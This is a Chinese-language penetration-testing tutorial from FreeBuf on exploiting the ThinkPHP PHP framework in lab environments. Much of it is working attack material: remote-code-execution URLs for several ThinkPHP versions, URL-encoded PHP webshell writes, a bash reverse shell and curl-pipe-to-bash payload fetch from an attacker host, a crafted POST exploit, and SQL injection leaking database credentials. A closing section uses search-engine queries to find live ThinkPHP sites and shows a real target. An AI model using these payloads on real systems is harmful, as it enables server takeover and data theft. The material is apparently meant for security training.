知识大陆

官方公众号 企业安全 新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基服务篇:服务攻防之框架Thinkphp(总)
2022-01-03 23:01:05

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

服务框架是指某领域一类服务的可复用设计与不完整的实现,与软件框架不同的是,服务框架同时体现着面向服务,一个服务框架可以分为两个主要部分:服务引擎、引入的外部服务。

ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。可想而知框架连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,框架的安全稳定运行也直接决定着业务系统能否正常使用。如果框架被远程代码执行攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。

通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!

今天会讲解到学习Thinkphp简介、Thinkphp安装、Thinkphp任意代码执行分析、Thinkphp远程代码执行漏洞、Thinkphp自动化武器攻击等等操作,如果连Thinkphp都不会安装操作提权等,怎么拿下对方服务器?

二、Thinkphp简介

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

ThinkPHP可在Windows和Linux等操作系统运行,支持MySql,Sqlite和PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。

ThinkPHP是一个免费开源用户数量非常多的一个PHP开发框架,这个框架曾经爆出各种RCE和SQL注入漏洞。我们将带来ThinkPHP各个版本的漏洞分析文章。

三、Thinkphp本地安装

1、官网下载

1641222118_61d30fe6542effdac480f.png!small?1641222119229

http://www.thinkphp.cn/down.html

2、本地搭建Thinkphp

1)安装vc9_x86(必装)
1641259530_61d3a20a5c8b356c7da06.png!small?1641259530706

2)安装phpStudy20161103
1641259537_61d3a2118d98e7982052d.png!small?1641259537854

3)开启php
1641259546_61d3a21a87e16244592be.png!small?1641259552480

4)将下载到的thinkphp.x解压,可以得到下图中的内容,把所有文件复制到网站的根目录,也就是之前设置中那个WWW\web的文件夹内:
1641259550_61d3a21e1de7451995c99.png!small?1641259560906

5)输入域名,这里是本地,可以输入127.0.0.1或者localhost或者本地IP都行,网站目录可以是你硬盘上的任何文件夹,默认文职是phpstudy安装目录下的WWW/web文件夹,点击新增后再点击保存设置并生成配置文件即可:

1641259558_61d3a2268e9f517380370.png!small?1641259561045

1641259559_61d3a227d121f5f69a1dc.png!small?1641259561045

6)下面来修改一下站点的运行目录,由于thinkPHP的入口是在public下,所以这里需要修改一下,点击”其他设置“->打开配置文件->vhosts-conf:
1641259565_61d3a22d730051f7541ff.png!small?1641259566180

7)配置文件会以一个文本文件的方式打开,你会看到documentroot和directory的路径是一样的,只需要在documentroot后面加上\public就可以了,点击保存:

1641259577_61d3a239653d5ce23a3a2.png!small?1641259581638 1641259576_61d3a2389f68eddb94a08.png!small?1641259581638

8)远程访问测试
1641259580_61d3a23c1deae5ff77ee6.png!small?1641259581638

成功搭建!

四、Thinkphp本地复现

1)验证POC:

http://192.168.253.107/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

1641259611_61d3a25b3f6785615eccb.png!small?1641259614741

2)写入一句话:

http://192.168.253.7:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%64%61%79%75%5d%29%3b%3f%3e

1641259614_61d3a25e54807377ff399.png!small?1641259614741

3)成功写入一句话:
1641259618_61d3a262aecfbbdbd03fa.png!small?1641259619195

4)蚁剑上线:
1641259624_61d3a268b2fe8a01ff2d7.png!small?1641259625046 1641259632_61d3a2706c15e09959a66.png!small?1641259633848

五、Vulhub-Thinkphp复现

1、ThinkPHP 2.x 任意代码执行漏洞

1)漏洞简介

(1)漏洞原理:

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入 双引号 中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

(2)影响版本:

ThinkPHP 2.x

2)漏洞原理详解

由于是preg_replace这个函数引起的漏洞,所以先来看看preg_replace这个函数,这个函数是个替换函数,而且支持正则,使用方式如下:

preg_replace('正则规则','替换字符','目标字符')

这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。

下面是搜索到的关于/e的解释:

e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;  
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。

本地测试直接使用下面这行代码测试即可,可使用在线PHP沙箱来测试。

沙箱地址:

http://sandbox.onlinephpfunctions.com/
@preg_replace('/test/e','print_r("dayu");','just test');

1641259659_61d3a28b3f8375e711852.png!small?1641259659551

这个函数5.2~5.6都还是可以执行的,但是到了php 版本7 以上,就已经都不支持/e修饰符了!

3)漏洞启动

(1)开启ThinkPHP 2.x 任意代码执行漏洞
1641259671_61d3a297f3b46e2f68f38.png!small?1641259689495

sudo docker-compose up -d

(2)验证是否开启
1641259673_61d3a299528e55c8cb080.png!small?1641259689495

sudo docker ps

3)代码审计-底层分析思路详解

(1)进入docker内分析代码 1641259684_61d3a2a43df70f109002e.png!small?1641259711749

sudo docker ps
sudo docker exec -ti cb501aa8dbe7 bash
find . -name '*.php' | xargs grep -n 'preg_replace'

(2)发现存在preg_replace函数的脚本:
1641259695_61d3a2af213cc0dd2ee51.png!small?1641259720999

./ThinkPHP/Mode/Lite/ThinkTemplateCompiler.class.php
./ThinkPHP/Mode/Lite/Dispatcher.class.php
./ThinkPHP/Lib/Think/Template/ThinkTemplate.class.php
./ThinkPHP/Lib/Think/Template/TagLib.class.php
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php
./ThinkPHP/Common/extend.php
./ThinkPHP/Common/functions.php

(3)存在/e修饰符的脚本
1641259814_61d3a326e5d9b8956d2e7.png!small?1641259831249

./ThinkPHP/Mode/Lite/Dispatcher.class.php:115:            $res = preg_replace('@(\w+)'.C('URL_PATHINFO_DEPR').'([^,\/]+)@e', '$pathInfo[\'\\1\']="\\2";', $_SERVER['PATH_INFO']);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:57:                $rule  = preg_replace('/{\$(_\w+)\.(\w+)\|(\w+)}/e',"\\3(\$\\1['\\2'])",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:58:                $rule  = preg_replace('/{\$(_\w+)\.(\w+)}/e',"\$\\1['\\2']",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:60:                $rule  = preg_replace('/{(\w+)\|(\w+)}/e',"\\2(\$_GET['\\1'])",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:61:                $rule  = preg_replace('/{(\w+)}/e',"\$_GET['\\1']",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:68:                $rule  = preg_replace('/{|(\w+)}/e',"\\1()",$rule);
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102:            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:224:                    $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', implode('/',$paths));
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:239:                    $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', str_replace($matches[0],'',$regx));
./ThinkPHP/Common/extend.php:215:        $str = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $str);
./ThinkPHP/Common/functions.php:145:        return ucfirst(preg_replace("/_([a-zA-Z])/e", "strtoupper('\\1')", $name));

有以上这些都存在/e修饰符的脚本!!

(4)根据漏洞描述,有漏洞的代码位置在:
1641259731_61d3a2d37116ffa08fec4.png!small?1641259753312

./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102:            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

根据代码注释,了解到这个是thinkphp 内置的Dispacher类,用来完成URL解析、路由和调度。所以有必要了解一下thinkphp的关于这块功能的使用。

(5)thinkphp 应该也是MVC框架,所有的请求都是根据路由来决定的。而Dispatcher.class.php就是规定如何来解析路由的这样一个类。

类名为`Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo()  获得服务器的PATH_INFO信息
static public function routerCheck() 路由检测
static private function parseUrl($route)
static private function getModule($var) 获得实际的模块名称
static private function getGroup($var) 获得实际的分组名称


4)漏洞复现

(1)访问靶机:
1641259711_61d3a2bf0bc9023027a76.png!small?1641259720999

http://192.168.253.7:8080/

(2)验证漏洞是否存在

index.php?s=/index/index/name/${@phpinfo()}

直接访问:

http://192.168.253.7:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

1641259725_61d3a2cd3912ad823fd4e.png!small?1641259746061

即可执行 phpinfo():

(3)构造poc

http://192.168.253.7:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}

1641259744_61d3a2e0120c440a2b934.png!small?1641259774626

1641259747_61d3a2e3bfdf7557ac263.png!small?1641259774626

(4)反弹shell
准备:

bash -i >& /dev/tcp/192.168.253.27/8888 0>&1
python -m SimpleHTTPServer 80

1641259751_61d3a2e762b2ede22672b.png!small?1641259774626

创建好bash和开启python http模式!

1=system("curl 192.168.253.27/shell.sh | bash");

1641259759_61d3a2ef41336cdfb3293.png!small?1641259774624

1641259763_61d3a2f3326e5fd10d08d.png!small?1641259774625

成功上线!!

(5)直接菜刀连接的payload:

http://192.168.253.7:8080//index.php?s=a/b/c/${@print(eval($_POST[1]))}

1641259764_61d3a2f4487789ed6af01.png!small?1641259774625

1641259769_61d3a2f90329df57e157a.png!small?1641259774625

正常交互连接!

2、Thinkphp5-5.0.22 / 5.1.29远程执行代码漏洞

1)漏洞简介

(1)漏洞原理:

ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5中,由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞。

2018年12月10日中午,thinkphp官方公众号发布了一个更新通知,包含了一个5.x系列所有版本存在被getshell的高风险漏洞。

(2)影响版本:

5.0.22 / 5.1.29

2)漏洞启动

(1)开启5.0.22漏洞
1641259779_61d3a30341e659e006f42.png!small?1641259809912

sudo docker-compose up -d

(2)验证是否开启
1641259781_61d3a305e9083e676b6ae.png!small?1641259799706

sudo docker ps

3)漏洞复现

(1)访问靶机:
1641259785_61d3a309ed81506181c3b.png!small?1641259809913

http://192.168.253.7:8080/

(2)payload判断是否存在远程代码执行漏洞

1641259796_61d3a314115a172b73ce2.png!small?1641259828269

http://192.168.253.7:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

(3)任意代码执行

1641259795_61d3a3132f491adbdc0a2.png!small?1641259809911

http://192.168.253.7:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

(4)写入webshell

http://192.168.253.7:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码
<?php eval($_POST[dayu]);?>

1641259800_61d3a318765e7d30a06f7.png!small?1641259809912

http://192.168.253.7:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%64%61%79%75%5d%29%3b%3f%3e

1641259807_61d3a31f6637fffebdd6f.png!small?1641259828269

1641259811_61d3a3236a9f58037a874.png!small?1641259828264
1641259813_61d3a325da16bf02acf22.png!small?1641259828266
成功上线!!

3、ThinkPHP5 5.0.23远程执行代码漏洞

1)漏洞简介

(1)漏洞原理:

ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5.0(<5.0.24)中,框架在获取请求方法时会错误地对其进行处理,就是在获取method的方法中没有正确处理方法名,这使攻击者可以调用Request类的任何方法,攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

(2)影响版本:

Thinkphp 5.0.0~ 5.0.23

2)漏洞启动

(1)开启5.0.23漏洞
1641259821_61d3a32d138a651af42d3.png!small?1641259828268

sudo docker-compose up -d

(2)验证是否开启
1641259826_61d3a3322b5f60ac7ec74.png!small?1641259831250

sudo docker ps

3)漏洞复现

(1)访问靶机:

1641259829_61d3a335cd67166deb740.png!small?1641259831250

http://192.168.253.7:8080/

(2)验证漏洞是否存在

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.253.7:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

1641259838_61d3a33ed8882704016d2.png!small?1641259847082

(3)反弹shell

python -m SimpleHTTPServer 80
nc -vlp 8888
curl 192.168.253.27/shell.sh | bash

1641259843_61d3a343eb73534e888fe.png!small?1641259847083

获得反弹shell!

2、ThinkPHP5 SQL注入漏洞和敏感信息泄露漏洞

1)漏洞简介

(1)漏洞原理:

传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

(2)影响版本:

ThinkPHP < 5.1.23

2)源码分析

漏洞代码分析:

<?php
namespace app\index\controller;
use app\index\model\User;
class Index{
    public function index()
        $ids = input('ids/a');
        $t = new User();
        $result = $t->where('id', 'in', $ids)->select();

由上述代码可知,这里用助手函数input定义了参数ids的类型是数组。

protected function parseMhere ($where, $options)
	$whereStr =
	$this -> buildWhere($where, $options);
	if (! empty($options['soft_delete '])) {
		list ($field, $condition) = $options['soft_delete'];
		$binds = $this -> query ->getF ieldsBind($optlons);
		$whereStr = $whereStr ? '(' .$whereStr . ') AND ' : ' ';
		$whereStr = $whereStr. $this -> parseWhereIten($field, $condition, ' ', $options, $binds);
	return empty($wherestr) ? ' ' : ' WHERE ' . $uhereStr;

接着去找where(‘id’, ‘in’, $ids)定义的内容,找到了最核心的方法buildWhere 和 parseWhereItem!
接着找到定义’in’的位置!

<?php
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);if (preg_match('/\W/', $bindName)) {
    // 处理带非单词字符的字段名
    $bindName = md5($bindName);}...} elseif (in_array($exp, ['NOT IN', 'IN'])) {
    // IN 查询
    if ($value instanceof \Closure) {
        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
    } else {
        $value = is_array($value) ? $value : explode(',', $value);
        if (array_key_exists($field, $binds)) {
            $bind  = [];
            $array = [];
            foreach ($value as $k => $v) {
                if ($this->query->isBind($bindName . '_in_' . $k)) {
                    $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
                } else {
                    $bindKey = $bindName . '_in_' . $k;
                $bind[$bindKey] = [$v, $bindType];
                $array[]        = ':' . $bindKey;
            $this->query->bind($bind);
            $zone = implode(',', $array);
        } else {
            $zone = implode(',', $this->parseValue($value, $field));
        $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';

这段代码当引入了in 或者 not in的时候遍历value的key和value。而key在绑定编译指令的时候又没有安全处理,所以导致了在预编译的时候SQL异常。

sudo docker ps
sudo docker exec -ti cb501aa8dbe7 bash
find . -name '*.php' | xargs grep -n 'key'

3)漏洞启动

这里乌班图有问题无法启动,转换到kali上!

(1)开启ThinkPHP5 SQL注入漏洞
1641259857_61d3a3510a1cc37a96f7d.png!small?1641259868658 1641259862_61d3a35683cefd83e3486.png!small?1641259868658

systemctl start docker
sudo docker-compose up -d

(2)验证是否开启
1641259867_61d3a35b9d85a4fc98932.png!small?1641259868659

sudo docker ps

3)漏洞复现

(1)访问靶机:
1641259869_61d3a35da20280e0c0446.png!small?1641259869902

http://192.168.253.9/

(2)验证漏洞是否存在

访问以下URL,如果看到显示的用户名,表明环境已成功运行:

http://192.168.253.9/index.php?ids[]=1&ids[]=2

1641259873_61d3a361ba11d0a554a28.png!small?1641259874401

运行成功!

(3)构造poc,填到password框:

打开页面:

http://192.168.253.9/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

发现成功显示的消息:
1641259883_61d3a36b4057a28e7064d.png!small?1641259892598

枚举到mysql数据库用户名密码!

六、Thinkphp自动化武器

1、Thinkphp综合利用工具

1641259888_61d3a370ad21a1ded3463.png!small?1641259901201

1641259890_61d3a3720146ace2c5766.png!small?1641259892598

1641259896_61d3a378ca2acb3eae2e8.png!small?1641259902360

2、thinkPHPBatchPoc群扫

1641259897_61d3a379d70ccd8673cb1.png!small?1641259901200

1641259901_61d3a37de62da89a591cd.png!small?1641259902361

1641259905_61d3a381a17b8324e6395.png!small?1641259906135

3、TPscan

1)本地windows-Thinkphp5.0.22
1641259910_61d3a386d2fac8355651c.png!small?1641259912037

2)本地LINUX-Thinkphp攻击
1641259915_61d3a38bae71c6d5be76a.png!small?1641259917472

4、AttackWebFrameworkTools

项目地址:
https://github.com/Anonymous-ghost/AttackWebFrameworkTools

网站攻击框架必须安装.net framework 4.5以及以上版本!!!
1641259920_61d3a3902b164a12a4b74.png!small?1641259920625

1641259927_61d3a3970ea634668c3f3.png!small?1641259930183

1641259929_61d3a399d2be55b8bd5cf.png!small?1641259930183

1641259933_61d3a39d50230eb6886eb.png!small?1641259933651

在相对应的脚本中填入对应信息即可!!

1641259954_61d3a3b2be07386b0ad50.png!small?1641259956294 可看到成功扫描Thinkphp漏洞情况!

5、Thinkphp攻击武器

1641259972_61d3a3c4a1463f348e2da.png!small?1641259973188

七、实战Thinkphp攻击

1、搜索大法

header="thinkphp"

拓展:

1、title="后台管理" 搜索页面标题中含有“后台管理”关键词的网站和IP
2、header="thinkphp" 搜索HTTP响应头中含有“thinkphp”关键词的网站和IP
3、body="管理后台" 搜索html正文中含有“管理后台”关键词的网站和IP
4、body="Welcome to Burp Suite" 搜索公网上的BurpSuite代理
5、domain="itellyou.cn" 搜索根域名中带有“itellyou.cn”的网站
6、host="login" 搜索域名中带有"login"关键词的网站
7、port="3388" && country=CN 搜索开放3388端口并且位于中国的IP
8、ip="120.27.6.1/24" 搜索指定IP或IP段
9、cert="phpinfo.me" 搜索证书(如https证书、imaps证书等)中含有"phpinfo.me"关键词的网站和IP
10、ports="3306,443,22" 搜索同时开启3306端口、443端口和22端口的IP
11、ports=="3306,443,22" 搜索只开启3306端口、443端口和22端口的IP

2、实战测试

1641259986_61d3a3d2894698743a60e.png!small?1641259991439


存在日志泄露:
1641259990_61d3a3d6d9f72615f1d98.png!small?1641259991440

使用whatweb查看网站信息:发现是ThinkPHP框架:
1641260030_61d3a3fe93e3f9ad44c09.png!small?1641260031625

八、总结

今天学到认知Thinkphp简介、Thinkphp安装、Thinkphp任意代码执行分析、Thinkphp远程代码执行漏洞、Thinkphp自动化武器攻击等等操作,最后远程代码执行控制服务器等操作,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!来巩固告知企业单位的漏洞情况,并尽快进行加固巩固安全!

服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)-> 服务攻防之中间件Tomcat(下)-> 服务攻防之中间件JBoss(上)-> 服务攻防之中间件JBoss(中)-> 服务攻防之中间件JBoss(下)-> 服务攻防之中间件Weblogic(上)-> 服务攻防之中间件Weblogic(下)-> 服务攻防之中间件GlassFish(总)-> 服务攻防之中间件WebSphere(总)-> 服务攻防之框架Struts2(上)-> 服务攻防之框架Struts2(下)-> 服务攻防之框架Thinkphp(总)-> 服务攻防之框架Shiro(总)......

接下来在《服务攻防之框架Shiro(总)》会接触到Shiro简介、本地搭建Shiro、Linux环境Shiro渗透总结、Windows环境Shiro渗透总结、Shiro自动化武器、CVE-2020-11989:Apache Shiro权限绕过复现、Apache Shiro 认证绕过漏洞(CVE-2020-1957)等等渗透操作,如何提权渗透等方法,请看下篇服务攻防之框架Shiro篇下章!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

本文作者:, 转载请注明来自 FreeBuf.COM

# ThinkPHP
被以下专辑收录,发现更多精彩内容 + 收入我的专辑 + 加入我的收藏 评论 按热度排序

登录 / 注册 后在FreeBuf发布内容哦

  • 0 文章数
  • 0 评论数
  • 0 关注者